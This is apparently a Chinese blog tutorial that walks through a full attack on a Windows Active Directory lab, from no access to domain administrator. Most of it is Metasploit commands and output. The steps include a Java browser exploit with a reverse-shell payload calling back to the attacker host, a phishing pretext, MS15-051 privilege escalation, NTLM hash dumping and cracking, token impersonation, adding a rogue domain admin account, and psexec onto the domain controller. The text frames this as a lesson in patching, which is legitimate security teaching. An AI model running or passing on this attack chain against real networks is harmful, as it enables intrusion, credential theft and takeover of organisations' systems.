域渗透的攻击模拟测试:从无访问权限到域管理员权限

栏目: 编程工具 · 发布时间: 5年前

内容简介:活动目录

本文的主要目的是为了说明使用最新的安全补丁保持系统最新的重要性 尤其要说明的是,这篇文章将讨论关于企业 Windows 环境中的安全性。

活动目录

通常,在 Windows 系统数量较为离散的公司中,一般会使用名为 Active Directory 的系统来设置域。基本上,它实现了许多进程和服务,这些进程和服务简化了域网络内的 Windows 用户帐户的管理,可以集中处理这些事务。

  域渗透的攻击模拟测试:从无访问权限到域管理员权限

运行 Active Directory 域服务的服务器的名称叫作域控制器( DC ):通过配置域控,可以定义应用于属于该域的用户和计算机的规则和策略。
具有域管理员权限的帐户属于 Domain Admin 组:它对注册到域的所有计算机具有管理员权限,即使在 DC 上也是如此。一旦你拥有了该域的管理员权限,你基本上可以做你想做的一切 这就是为什么只设置一组受限制的授权帐户(真正需要特权的账户)拥有这些权限的方式来保护域是非常重要的。

关于域控制器安全性的另一个重要方面是,虽然本地用户的密码存储在已定义的计算机内,但域用户的密码存储在 DC 中。

虚拟实验室

为了模拟对域的攻击,我们可以设置 Active Directory 虚拟实验室环境,其中 Windows Server 2012 R2 充当域控制器, Windows 7 SP1 64 位是一台会模拟注册到域的办公网工作站主机。
Windows 7 计算机上安装了老版本的 Java Runtime Environment Java 6 Update 23 ,它受到一系列远程执行代码( RCE )漏洞的影响。此外,操作系统没有打 MS15-051 漏洞的安全补丁,这个漏洞可以用于本地特权升级。

攻击者将默认使用 Kali Linux 发行版中有名的 Metasploit Framework 作为攻击工具。在进行了初始的信息收集之后,攻击者在客户端主机上发现安装了 Java 6u23 ,之后开始发起攻击。

我们可以从启动 PostgreSQL 服务作为开始,以便使用 Metasploit 数据库:

<a href="/cdn-cgi/l/email-protection" data-cfemail="86f4e9e9f2c6ede7eaef">[email protected]</a>:~# service postgresql start

然后我们可以启动 Metasploit 控制台:

<a href="/cdn-cgi/l/email-protection" data-cfemail="2c5e4343586c474d4045">[email protected]</a>:~# msfconsole -q
msf >

Java 客户端漏洞利用

在影响 J ava 6u23的所有漏洞中,我们可以使用 Java 的 storeImageArray()无效的数组索引漏洞。通过info命令,我们可以查看大量有关于这个漏洞的有用信息的描述,例如受影响的平台列表,可靠性排名,漏洞披露日期,模块作者,常见漏洞和暴露(CVE)标识符,当然还有我 们需要设置运行漏洞利用的选项:

msf > use exploit/multi/browser/java_storeimagearray 
msf exploit(java_storeimagearray) > info
       Name: Java storeImageArray() Invalid Array Indexing Vulnerability
     Module: exploit/multi/browser/java_storeimagearray
   Platform: Java, Linux, Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-08-12
Provided by:
  Unknown
  sinn3r <<a href="/cdn-cgi/l/email-protection" data-cfemail="42312b2c2c7130022f27362331322e2d2b366c212d2f">[email protected]</a>>
  juan vazquez <<a href="/cdn-cgi/l/email-protection" data-cfemail="f29887939cdc84938883879788b29f97869381829e9d9b86dc919d9f">[email protected]</a>>
Available targets:
  Id  Name
  --  ----
  0   Generic (Java Payload)
  1   Windows Universal
  2   Linux x86
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
Payload information:
  Space: 20480
  Avoid: 0 characters
Description:
  This module abuses an Invalid Array Indexing Vulnerability on the 
  static function storeImageArray() function in order to cause a 
  memory corruption and escape the Java Sandbox. The vulnerability 
  affects Java version 7u21 and earlier. The module, which doesn't 
  bypass click2play, has been tested successfully on Java 7u21 on 
  Windows and Linux systems.
References:
  http://cvedetails.com/cve/2013-2465/
  http://www.osvdb.org/96269
  https://www.exploit-db.com/exploits/27526
  https://packetstormsecurity.com/files/122777
  http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040

对于这种漏洞的利用,攻击者需要在网络服务器上挂一个嵌入了恶意代码的网页,因此,当受害者访问网址时,它恶意代码就会执行。

查看漏洞利用模块的选项,我们必须指定 TARGET 的操作系统类型,即 Windows ,以及恶意网页的 URL 地址的 URIPATH
此外,我们需要设置 PAYLOAD 类型,指定我们可以执行的程序,这要归功于 RCE 漏洞:选择 Meterpreter 有效载荷是一个好主意,因为它提供了大量的功能来控制远程主机 此外,我们选择它来设置反向 tcp 连接来绕过防火墙保护: reverse_tcp Meterpreter

另一个比较好的有效载荷 reverse_http(s) ,在有高度安全防护的环境中更好用:事实上, 这个 stager 提供了一个基于数据包的传输系统,而不是基于流的通信模型 (如果你想了解更多信息,请参阅本文末尾的参考资料。当然它也支持我们在这里所使用的 reverse_tcp 的相同功能。)

一旦确定了有效载荷,我们就可以设置我们希望受害者机器连接回的 IP 地址( LHOST )和端口( LPORT )(在本例中是我们使用的主机):

msf exploit(java_storeimagearray) > set target 1
target => 1
msf exploit(java_storeimagearray) > set uripath /
uripath => /
msf exploit(java_storeimagearray) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(java_storeimagearray) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(java_storeimagearray) > set lport 443
lport => 443
msf exploit(java_storeimagearray) > show options 
Module options (exploit/multi/browser/java_storeimagearray):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.10     yes       The listen address
   LPORT     443              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   1   Windows Universal

通过正确配置所有内容,我们可以将该漏洞利用作为后台作业运行。

msf exploit(java_storeimagearray) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.10:443 
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.10:8080/
[*] Server started.

社会工程学

通常,攻击者通过使用社会工程学技术欺骗受害者打开链接:例如,攻击者可能通过冒充公司的 IT 安全团队并邀请用户访问网址来下载重要的安全补丁的方式向目标员工发送电子邮件:

  域渗透的攻击模拟测试:从无访问权限到域管理员权限

因此,当受害者访问网页时, Java 漏洞就会触发执行,攻击者会获得 shell ,即受害者计算机上的会话:

[*] Sending HTML...
[*] Sending .jar file...
[*] Sending .jar file...
 
[*] Sending stage (957999 bytes) to 192.168.1.208
[*] Meterpreter session 1 opened (192.168.1.10:443 -> 192.168.1.208:49163) at 2016-11-16 20:29:32 +0200

域渗透的攻击模拟测试:从无访问权限到域管理员权限

然后我们可以通过检查活动会话来验证 shell 连接:

msf exploit(java_storeimagearray) > sessions -l
Active sessions
===============
  Id  Type                   Information                Connection
  --  ----                   -----------                ----------
  1   meterpreter x86/win32  NET\testuser1 @ WIN7SP164  192.168.1.10:443 -> 192.168.1.208:49163 (192.168.1.208)

我们在 IP 地址为 192.168.1.10 的攻击者机器和 IP 地址为 192.168.1.208 的受害者机器之间建立了连接 此连接从受害者计算机开始,并使用端口 443 连接到攻击者的主机。此端口不是随机选择的:因为这种类型的连接看起来没那么可疑,因为它模仿了普通的 SSL 会话,就像用户通过 HTTPS 访问网页一样。

请注意,此漏洞利用程序在 Internet Explorer (本文的测试环境是 IE8 )和 Mozilla Firefox (当然 Java 插件必须处于启用状态)上都有效。

后期漏洞利用

启动交互 shell 后,我们会自然的想到要获取系统信息,如系统架构,域名称,用户 ID ; 执行   sysinfo 命令可以得到我们所需要的信息:

msf exploit(java_storeimagearray) > sessions -i 1 
[*] Starting interaction with 1...
meterpreter > sysinfo 
Computer        : WIN7SP164
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Domain          : NET
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > getuid 
Server username: NET\testuser1

从上面的结果中,我们可以看到我们控制了一台 Windows 7 的主机,并且 meterpreter 是在由注册到 NET 域的用户 “testuser1” 所拥有的进程内运行。

另一个有趣的信息是,受害者主机是 64 位的系统架构,而 meterpreter x86 的,即它运行在了 32 位的进程上:这意味着我们必须迁移到一个 64 位的进程才能正确使用 meterpreter

在此之前,我们可以使用 Metasploit 后期漏洞利用模块收集其他信息。例如,了解当前用户拥有的特权类型会对渗透测试很有用,例如查看在本地管理员组中的用户:

meterpreter > background 
[*] Backgrounding session 1...
msf post(java_storeimagearray) > use post/windows/gather/win_privs 
msf post(win_privs) > info
       Name: Windows Gather Privileges Enumeration
     Module: post/windows/gather/win_privs
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Merlyn Cousins <<a href="/cdn-cgi/l/email-protection" data-cfemail="d3b7a1b5bca1b1babde593b4beb2babffdb0bcbe">[email protected]</a>>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
Description:
  This module will print if UAC is enabled, and if the current account 
  is ADMIN enabled. It will also print UID, foreground SESSION ID, is 
  SYSTEM status and current process PRIVILEGES.
msf post(win_privs) > set session 1
session => 1
msf post(win_privs) > show options 
Module options (post/windows/gather/win_privs):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
msf post(win_privs) > exploit 
Current User
============
 Is Admin  Is System  Is In Local Admin Group  UAC Enabled  Foreground ID  UID
 --------  ---------  -----------------------  -----------  -------------  ---
 False     False      False                    True         2              "NET\\testuser1"
Windows Privileges
==================
 Name
 ----
 SeChangeNotifyPrivilege
 SeShutdownPrivilege
 SeUndockPrivilege
[*] Post module execution completed

从上面的结果中可以看出,该用户没有管理员权限,这对攻击者来说是个坏消息:实际上,主机防御中一个好的安全措施是为公司老板的主机设置策略,使他们在自己的机器上没有本地管理权限(当然在随后我们将看到该主机应用了一些安全补丁)。

另一个聪明的做法可能是获取域控制器的 IP 地址:

msf post(win_privs) > use post/windows/gather/enum_domain
msf post(enum_domain) > info
       Name: Windows Gather Enumerate Domain
     Module: post/windows/gather/enum_domain
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Joshua Abraham <<a href="/cdn-cgi/l/email-protection" data-cfemail="a5cfc4c7d7c4e5d7c4d5ccc1928bc6cac8">[email protected]</a>>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION  1                yes       The session to run this module on.
Description:
  This module identifies the primary domain via the registry. The 
  registry value used is: 
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group 
  Policy\History\DCName.
msf post(enum_domain) > set session 1
session => 1
msf post(enum_domain) > exploit 
[+] FOUND Domain: net
[+] FOUND Domain Controller: DC (IP: 192.168.1.200)
[*] Post module execution completed

枚举域管理员帐户肯定是一个好主意,因为他们的特权对攻击者来说是感兴趣的目标:

msf exploit(enum_domain) > use post/windows/gather/enum_domain_group_users 
msf post(enum_domain_group_users) > info
       Name: Windows Gather Enumerate Domain Group
     Module: post/windows/gather/enum_domain_group_users
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Carlos Perez <<a href="/cdn-cgi/l/email-protection" data-cfemail="c7a4a6b5aba8b498b7a2b5a2bd87a3a6b5aca8b7a2b5a6b3a8b5e9a4a8aa">[email protected]</a>>
  Stephen Haywood <<a href="/cdn-cgi/l/email-protection" data-cfemail="284049515f47474c5b4a684f45494144064b4745">[email protected]</a>>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  GROUP                     yes       Domain Group to enumerate
  SESSION                   yes       The session to run this module on.
Description:
  This module extracts user accounts from specified group and stores 
  the results in the loot. It will also verify if session account is 
  in the group. Data is stored in loot in a format that is compatible 
  with the token_hunter plugin. This module should be run over as 
  session with domain credentials.
msf post(enum_domain_group_users) > set group "domain admins"
group => domain admins
msf post(enum_domain_group_users) > set session 1 
session => 1
msf post(enum_domain_group_users) > exploit 
[*] Running module against WIN7SP164
[*] Found users in domain admins
[*] NET\boss
[*] Current session running as NET\testuser1 is not a member of domain admins
[*] User list stored in /root/.msf4/loot/20160906195451_default_192.168.1.208_domain.group.mem_774905.txt
[*] Post module execution completed

结果告诉我们,我们只有一个 Domain Admin 用户: “boss” 。请记住此帐户,因为后面会用到。

请记住,我们也可以通过将 meterpreter 会话切换到 Windows 命令行的 shell 来收集这些信息:例如,要查找 Domain Admins 用户组的列表可以执行命令 net groups "domain admins" /domain

回到 32/64 位架构的主题,我们需要将 meterpreter 迁移到 64 位进程:为此,我们可以列出机器上运行的所有进程并选择一个 64 位的进程:

meterpreter > ps
Process List
============
 PID   PPID  Name               Arch  Session  User           Path
 ---   ----  ----               ----  -------  ----           ----
 0     0     [System Process]                                 
 4     0     System                                           
 252   4     smss.exe                                         
 280   488   svchost.exe                                      
 336   320   csrss.exe                                        
 388   320   wininit.exe                                      
 396   380   csrss.exe                                        
 432   380   winlogon.exe                                     
 488   388   services.exe                                     
 504   388   lsass.exe                                        
 512   388   lsm.exe                                          
 620   488   svchost.exe                                      
 680   488   vmacthlp.exe                                     
 724   488   svchost.exe                                      
 812   488   svchost.exe                                      
 848   488   svchost.exe                                      
 860   488   taskhost.exe       x64   1        NET\testuser1  C:\Windows\System32\taskhost.exe
 872   488   svchost.exe                                      
 928   488   svchost.exe                                      
 1116  488   wmpnetwk.exe                                     
 1152  488   spoolsv.exe                                      
 1188  488   svchost.exe                                      
 1248  488   msdtc.exe                                        
 1308  488   svchost.exe                                      
 1368  488   VGAuthService.exe                                
 1476  488   vmtoolsd.exe                                     
 1532  848   dwm.exe            x64   1        NET\testuser1  C:\Windows\System32\dwm.exe
 1656  488   svchost.exe                                      
 1700  1708  vmtoolsd.exe       x64   1        NET\testuser1  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1708  1664  explorer.exe       x64   1        NET\testuser1  C:\Windows\explorer.exe
 1828  620   WmiPrvSE.exe                                     
 1908  488   dllhost.exe                                      
 1992  156   gEcLfOyZ.exe       x86   1        NET\testuser1  C:\Users\testuser1\AppData\Local\Temp\~spawn4804236038822370445.tmp.dir\gEcLfOyZ.exe
 2188  620   WmiPrvSE.exe                                     
 2376  488   svchost.exe                                      
 2740  488   SearchIndexer.exe 
请注意PID 1992的进程与位于Temp目录中的“.exe”有效载荷文件相关联:这个就是当前运行的meterpreter的进程。通常,迁移到“explorer.exe”是一个不错的选择,因此我们使用其PID作为migrate命令的参数:
meterpreter > migrate 1708
[*] Migrating from 1992 to 1708...
[*] Migration completed successfully.
meterpreter > sysinfo 
Computer        : WIN7SP164
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : NET
Logged On Users : 2
Meterpreter     : x64/win64

特权升级

现在我们主要关注的是,即使我们能够在当前用户 “testuser1” 的上下文中读取和写入文件,我们也希望能获得对该机器的特权访问,即我们希望获得管理员权限。
为此,我们可以分析系统上已经安装的安全修补程序,查找是否存在未修补的权限提升漏洞。通过这样的做法,我们可以切换到 Windows 命令行的 shell 并使用 “wmic” 实用程序:

meterpreter > shell
Process 1880 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>wmic qfe list 
wmic qfe list
Caption                                        CSName     Description  FixComments  HotFixID  InstallDate  InstalledBy              InstalledOn  Name  ServicePackInEffect  Status  
http://go.microsoft.com/fwlink/?LinkId=161784  WIN7SP164  Update                    KB971033               NT AUTHORITY\SYSTEM      9/1/2016                                        
http://support.microsoft.com/?kbid=976902      WIN7SP164  Update                    KB976902               win7sp164\Administrator  11/21/2010
C:\Windows\system32>^C
Terminate channel 1? [y/N]  y
meterpreter > background 
[*] Backgrounding session 1...

输出结果清楚地表明,在该公司中, Windows 系统管理员并不经常性的更新客户端工作站。

例如,我们发现缺少 MS15-051 漏洞的 KB 补丁编号,因此我们可以利用这个漏洞。此漏洞影响了 Windows 内核模式驱动程序可以导致 RCE ,因此可以执行本地权限提升,即我们可以将使用 “testuser1” 的权限运行的 meterpreter 的会话权限提升为 NT AUTHORITY\SYSTEM

msf exploit(java_storeimagearray) > use exploit/windows/local/ms15_051_client_copy_image 
msf exploit(ms15_051_client_copy_image) > info
       Name: Windows ClientCopyImage Win32k Exploit
     Module: exploit/windows/local/ms15_051_client_copy_image
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-05-12
Provided by:
  Unknown
  hfirefox
  OJ Reeves
  Spencer McIntyre
Available targets:
  Id  Name
  --  ----
  0   Windows x86
  1   Windows x64
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
Payload information:
  Space: 4096
Description:
  This module exploits improper object handling in the win32k.sys 
  kernel mode driver. This module has been tested on vulnerable builds 
  of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
References:
  http://cvedetails.com/cve/2015-1701/
  http://technet.microsoft.com/en-us/security/bulletin/MS15-051
  https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
  https://github.com/hfiref0x/CVE-2015-1701
  https://technet.microsoft.com/library/security/MS15-051

要运行此模块,我们只需要设置要运行模块的会话和有效载荷类型:

msf exploit(ms15_051_client_copy_image) > set session 1 
session => 1
msf exploit(ms15_051_client_copy_image) > set target 1
target => 1
msf exploit(ms15_051_client_copy_image) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms15_051_client_copy_image) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(ms15_051_client_copy_image) > show options 
Module options (exploit/windows/local/ms15_051_client_copy_image):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.10     yes       The listen address
   LPORT     4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   1   Windows x64
msf exploit(ms15_051_client_copy_image) > exploit
[*] Started reverse TCP handler on 192.168.1.10:4444 
[*] Launching notepad to host the exploit...
[+] Process 2856 launched.
[*] Reflectively injecting the exploit DLL into 2856...
[*] Injecting exploit into 2856...
[*] Exploit injected. Injecting payload into 2856...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (1189423 bytes) to 192.168.1.208
[*] Meterpreter session 2 opened (192.168.1.10:4444 -> 192.168.1.208:49164) at 2016-11-16 20:45:29 +0200

新创建的会话具有 SYSTEM 权限:

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 2...
msf exploit(ms15_051_client_copy_image) > sessions -l
Active sessions
===============
  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x64/win64  NET\testuser1 @ WIN7SP164        192.168.1.10:443 -> 192.168.1.208:49326 (192.168.1.208)
  2   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ WIN7SP164  192.168.1.10:4444 -> 192.168.1.208:49327 (192.168.1.208)

这意味着现在我们可以完全控制受感染的系统,例如可以访问本地存储的凭据:

msf exploit(ms15_051_client_copy_image) > use post/windows/gather/credentials/credential_collector 
msf post(credential_collector) > info
       Name: Windows Gather Credential Collector
     Module: post/windows/gather/credentials/credential_collector
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  tebo <<a href="/cdn-cgi/l/email-protection" data-cfemail="314554535e7150454550525a43544254504352591f525e5c">[email protected]</a>>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
Description:
  This module harvests credentials found on the host and stores them 
  in the database.
msf post(credential_collector) > set session 2
session => 2
msf post(credential_collector) > exploit 
[*] Running module against WIN7SP164
[+] Collecting hashes...
    Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: test:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
[+] Collecting tokens...
    NET\testuser1
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    NT AUTHORITY\ANONYMOUS LOGON
    [*] Post module execution completed

此模块将收集的凭据存储在 Metasploit 数据库中,因此可以使用简单的命令显示它们:

msf post(credential_collector) > creds
Credentials
===========
host           origin         service        public         private                                                            realm  private_type
----           ------         -------        ------         -------                                                            -----  ------------
192.168.1.208  192.168.1.208  445/tcp (smb)  Administrator  aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef         NTLM hash
192.168.1.208  192.168.1.208  445/tcp (smb)  Guest          aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash
192.168.1.208  192.168.1.208  445/tcp (smb)  test           aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash

NTLM 哈希破解

通过分析收集的凭证,我们找到以下字段:用户名和由冒号分隔的两个字符串 这两个代表该用户的加密密码。
使用散列算法存储 Windows 凭据:散列的第一部分表示 LAN Manager LM )散列。默认情况下,从 Windows Vista Windows Server 2008 开始禁用 LM 身份验证协议,因为它确实不安全 这就是为什么字符串 “aad3b435b51404eeaad3b435b51404ee” 代表一个空值(记住我们控制的是 Windows 7 的主机)。
第二部分代表 NT LAN Manager NTLM )哈希: NTLM LM 协议的升级版本,但它仍然容易受到密码破解攻击。这就是我们可以使用密码破解工具 John The Ripper 的原因   在字典攻击模式下查找相应的明文密码。

由于 NTLM 散列函数是已知的,因此可以预先为给定的单词计算相应的散列 而且它是对称的加密,所以我们在单词和散列之间有一对一的对应关系。因此,可以将 f 定义为散列函数,将 x 定义为纯文本密码,那么 y = f(x) 就可以返回计算的散列值。

字典攻击的工作方式很简单:假设我们有一个带有单词列表的文件(这就是为什么这些文件可以在 “wordlists” 的名称下找到) 对于每个单词,我们生成其相应的 NTLM 哈希,然后我们将它与我们想要破解的哈希进行比较。一旦找到匹配的那个,我们就确定已经找到了密码。

选择字典攻击而不是暴力攻击总是一个不错的主意,因为人们通常会将常用的词设置为他们的密码,在这种情况下,我们可以非常快速地完成我们的任务。

我们对 Administrator 帐户感兴趣,因此我们首先将其详细信息(即用户名和相应的 NTLM 哈希)保存在文本文件中:

<a href="/cdn-cgi/l/email-protection" data-cfemail="f3819c9c87b398929f9a">[email protected]</a>:~# cat hashes.txt 
Administrator:5835048ce94ad0564e29a924a03510ef

然后我们可以通过指定哈希格式和我们想要用来破解哈希的字典文件来启动破解工具(默认情况下, Kali Linux 中的 /usr/share/wordlists 文件夹里包含了 “rockyou” 字典   ):

<a href="/cdn-cgi/l/email-protection" data-cfemail="10627f7f64507b717c79">[email protected]</a>:~# john --format=NT --wordlist=/root/dictionary/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
password1        (Administrator)
1g 0:00:00:00 DONE (2016-09-03 23:09) 25.00g/s 900.0p/s 900.0c/s 900.0C/s tigger..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed

JTR 已成功找到管理员帐户的密码: “password1” 。考虑到攻击者可能会遇到的最坏的情况,我们假设本地管理员密码在属于该域的每个客户端主机上都是不同的。

令牌假冒

在这种情况下,有不同的方式继续渗透 例如,我们可以使用称为 令牌窃取 令牌模仿 的技术来进行下一步的攻击。
Windows 中,每次用户尝试登录时,系统都会通过将用户密码与存储在安全数据库中的密码进行匹配来验证用户的密码是否正确:这称为 身份验证过程 。当该过程成功时,系统将生成访问令牌。令牌可以被视为临时密钥,因此在该用户的上下文中执行的每个进程都不需要再次输入密码就可以使用用户的权限运行:这些称为 委托令牌 并且它们在系统上持续存在直到下次重新启动。实际上,用户注销不会使令牌失效,但令牌本身将被作为模拟令牌而不是委托令牌。

如果用户连接到受感染的计算机,则可能会窃取其相关的令牌。可以使用一款名叫 Incognito Metasploit 扩展来执行此任务。
看一下之前使用的 “credential_collector” 模块的输出,我们看到有关令牌的一些信息。现在,假设 Domain Admin 在受控计算机上登录,我们就可以从 Incognito 扩展的 list_tokens 命令返回的结果中看到该用户的委托令牌:

msf exploit(credential_collector) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > load incognito 
Loading extension incognito...success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NET\boss
NET\testuser1
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

出现了 “boss” 用户的委托令牌,如之前列举的那样,是个域管理员。我们可以尝试模拟该令牌来获取用户权限:

meterpreter > impersonate_token
Usage: impersonate_token <token>
Instructs the meterpreter thread to impersonate the specified token. All other actions will then be made in the context of that token.
Hint: Double backslash DOMAIN\\name (meterpreter quirk)
Hint: Enclose with quotation marks if name contains a space
meterpreter > impersonate_token NET\\boss
[+] Delegation token available
[+] Successfully impersonated user NET\boss

返回了模拟成功的消息。切换到 Windows shell ,我们可以检查一下我们当前的用户信息:

meterpreter > shell
Process 888 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>whoami
whoami
net\boss

模仿令牌获取到的管理员权限可以让我们随意执行任何操作 例如,我们可以添加新用户到 AD 上:

C:\Windows\system32>net user evilboss password123 /add /domain
net user evilboss password123 /add /domain
The request will be processed at a domain controller for domain net.testlab.
The command completed successfully.

特别要说明的是,我们可以为刚创建的用户 “evilboss” 提供域管理员权限:

C:\Windows\system32>net group "Domain Admins" evilboss /add /domain
net group "Domain Admins" evilboss /add /domain
The request will be processed at a domain controller for domain net.testlab.
The command completed successfully.

现在我们拥有自己的 Domain Admin 用户,通过该用户,我们可以对注册到域的每台计算机拥有管理访问权限。也就是说,域控制器存储了所有域用户的 NTLM 哈希值。要登录 DC ,我们可以使用 “psexec” 模块:

C:\Windows\system32>^C
Terminate channel 1? [y/N]  y
meterpreter > background 
[*] Backgrounding session 2...
msf exploit(credential_collector) > use exploit/windows/smb/psexec
msf exploit(psexec) > info
       Name: Microsoft Windows Authenticated User Code Execution
     Module: exploit/windows/smb/psexec
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 1999-01-01
Provided by:
  hdm <<a href="/cdn-cgi/l/email-protection" data-cfemail="c0b880a8a4adeea9af">[email protected]</a>>
  Royce Davis <<a href="/cdn-cgi/l/email-protection" data-cfemail="01736560776872416062627477606f752f626e6c">[email protected]</a>>
  RageLtMan <<a href="/cdn-cgi/l/email-protection" data-cfemail="780a191f1d140c151916380b1d15081d0a0e111b0c0d0b">[email protected]</a>>
Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   PowerShell
  2   Native upload
  3   MOF upload
Basic options:
  Name                  Current Setting  Required  Description
  ----                  ---------------  --------  -----------
  RHOST                                  yes       The target address
  RPORT                 445              yes       The SMB service port
  SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
  SERVICE_DISPLAY_NAME                   no        The service display name
  SERVICE_NAME                           no        The service name
  SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain             .                no        The Windows domain to use for authentication
  SMBPass                                no        The password for the specified username
  SMBUser                                no        The username to authenticate as
Payload information:
  Space: 3072
Description:
  This module uses a valid administrator username and password (or 
  password hash) to execute an arbitrary payload. This module is 
  similar to the "psexec" utility provided by SysInternals. This 
  module is now able to clean up after itself. The service created by 
  this tool uses a randomly chosen name and description.
References:
  http://cvedetails.com/cve/1999-0504/
  http://www.osvdb.org/3106
  http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
  http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access
  http://sourceforge.net/projects/smbexec/

此模块将域名称,有效的管理员用户名和密码(无论是纯文本还是散列均可)和我们要登录的目标主机作为输入参数。它会连接到目标计算机上指定的 Samba 共享。

msf exploit(psexec) > set target 1
target => 1
msf exploit(psexec) > set rhost 192.168.1.200
rhost => 192.168.1.200
msf exploit(psexec) > set SMBDomain NET
SMBDomain => NET
msf exploit(psexec) > set SMBUser evilboss
SMBUser => evilboss
msf exploit(psexec) > set SMBPass password123
SMBPass => password123
msf exploit(psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(psexec) > set lport 4445
lport => 4445
msf exploit(psexec) > exploit -j
[*] Started reverse TCP handler on 192.168.1.10:4445 
[*] 192.168.1.200:445 - Connecting to the server...
[*] 192.168.1.200:445 - Authenticating to 192.168.1.200:445|NET as user 'evilboss'...
[*] 192.168.1.200:445 - Executing the payload...
[+] 192.168.1.200:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957999 bytes) to 192.168.1.200
